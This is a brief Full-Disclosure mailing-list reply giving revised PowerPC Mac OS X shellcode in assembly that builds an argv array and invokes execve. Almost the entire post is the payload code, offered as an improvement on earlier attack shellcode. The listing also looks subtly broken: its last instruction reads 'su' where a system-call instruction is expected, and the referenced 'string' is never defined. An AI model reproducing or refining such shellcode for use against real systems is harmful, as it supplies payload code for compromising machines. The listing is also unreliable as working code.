Re: PPC OSX Shellcode ASM

[Andrew Pinski <pinskia () physics uc edu>]

The original code for execeve can be improved on, yes it is the same 
size (but faster for 970):
_main:
	bcl 20,31,"L00000000001$pb"  ;fast way of not flushing the lr link 
stack
"L00000000001$pb":
        mflr r3   ; r3 = main+8
        xor r5,r5,r5  ; r5 = 0
        addi r3, r3, lo16(string)  ;r3 = string
        stw r3, -8(r1)   ;argv[0] = string
        stw r5, -4(r1)  ; argv[1] = NULL
        subi r4, r1,8   ;r4 = pointer to argv[]
        li r0, 59       ; r0 = 59 execve()
        su              ; execve(r3, r4, r5)

Thanks,
Andrew Pinski

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html